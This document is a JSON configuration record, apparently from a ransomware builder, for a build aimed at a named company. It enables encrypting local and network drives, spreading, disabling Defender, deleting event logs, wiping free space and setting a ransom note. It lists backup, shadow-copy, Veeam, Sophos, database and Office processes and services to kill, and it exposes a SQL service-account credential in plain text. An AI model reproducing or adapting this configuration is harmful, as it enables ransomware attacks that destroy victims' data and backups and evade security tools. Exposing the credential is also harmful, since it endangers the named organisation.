{"buildModel": {"id": "813", "parent_id": 0, "status": null, "decription_id": null, "userid": 65, "stealerid": null, "key_id": 0, "comment": "aiyingdao", "master_pubkey": null, "master_privkey": null, "date": 1743025710, "company_website": "ayd.com", "crypted_website": "lxCNY+yt6L7zU+AIdwEwMcRB02IOP1bnLXoWVQofyq9GPvcetY7wukc2N1j6s6NE3BkQqlTE5Uop1j/CrKN6BJfsVwxW54ZrBZaRLYQPwfIOInNfScUf0iWvAcgdeVoLZ1HnbRYoccOQyUfFac0nSFzudnZxAYfs5+neYBCOZupL8K8/oBHAfBWzUF4/jgR4iVWvL0nCTii/1ukjJMdUflx1RfpyKIgVKPhD7rDs1bR3GdVKhLHjQauEljWwmjCoxalPuQskGgdhITR055PtPIA0iPCFqe8dU/62jkWUWHxP7nV4E2cFittUtLY0dKwljXFD+Vokn3x1ooCyXNtv6Ls2Z3xhUgXUaudyr79th4S6+cCTytgBpk5/MAKptGwOC3HpDZSPoYH2512NBVwgElCTH6kSEttBZf6Xy6JCQgh2HFrlcsB48ja1DpiylQjaAi6hK9dA2Nh5ZwnpiAU5uyqstkzKiArjh3gxIwbdhaX9I7tMPgrS0j1AceLdi/oU6vTAA/ZdUfrG4whtrJm7+VqNevLgRGgizdEYrWM6Ef/7PQGyYf56xsTgTfJ1C7WIcDBQdSQRbs9qBT82Bn4IIKNG8E6xPC1Y2OfrtA0lY1BRtw1KzGoqABMBfDlYZT3DF+xSPz9kRpsypom78PY23bErChjqNwmL/QmfDPbbIS8=", "revenue": "60kk", "delete_decryptor": true, "type": 30, "max_file_size": null, "created_at": "2025-03-26 21:48:30"}, "key": null, "revenue": "60kk", "comment": "aiyingdao ", "company_website": "ayd.com", "encrypt_mode": false, "encrypt_filename": false, "impersonation": "1", "language_check": "1", "local_disks": "1", "network_shares": "1", "kill_processes": "1", "kill_services": "1", "running_one": "1", "print_note": "1", "set_wallpaper": "1", "set_icons": "1", "spread_enabled": "1", "send_report": false, "delete_eventlogs": "1", "self_spread": false, "self_destruct": "1", "kill_defender": "1", "wipe_free_space": "1", "skip_hidden_folders": "0", "shutdown_system": "0", "gpo_ps_update": "0", "impers_accounts": "sqlservice:ayd(.%2019#ALI", "white_folders": "$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;appdata;application data;boot;google;mozilla;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default", "white_files": "autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db", "white_extens": "386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb", "white_hosts": "", "delete_gpo_delay": "60", "kill_processes_list": "sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad", "kill_services_list": "vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr"}